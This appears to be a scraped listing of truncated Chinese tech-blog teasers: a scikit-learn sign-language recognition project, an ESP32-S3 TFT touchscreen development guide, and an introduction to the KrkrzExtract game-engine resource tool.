1. 项目背景与核心价值周末项目总是充满乐趣——特别是当你把机器学习应用到现实世界问题时。这次我尝试用scikit-learn构建了一个手语和静态手势识别系统&#xff0c;整个过程既挑战了技术能力&#xff0c;又让我对计算机视觉的平民化应用有了新认识。手势识别技术早已不是实验…...

ESP32-S3驱动3.5寸TFT触摸屏开发指南

1. Makerfabs 3.5寸TFT触摸屏深度解析 这款由Makerfabs推出的3.5英寸TFT触摸屏显示模块&#xff0c;集成了ESP32-S3双核处理器和电容式触摸功能&#xff0c;为嵌入式GUI开发提供了完整的硬件解决方案。我在实际项目中使用过类似规格的显示模块&#xff0c;可以确认其性能确实能…...

KrkrzExtract:新一代krkrz引擎资源处理工具完全指南

KrkrzExtract&#xff1a;新一代krkrz引擎资源处理工具完全指南 【免费下载链接】KrkrzExtract The next generation of KrkrExtract 项目地址: https://gitcode.com/gh_mirrors/kr/KrkrzExtract KrkrzExtract是一款专为krkrz引擎设计的新一代资源处理工具&#xff0c;支…...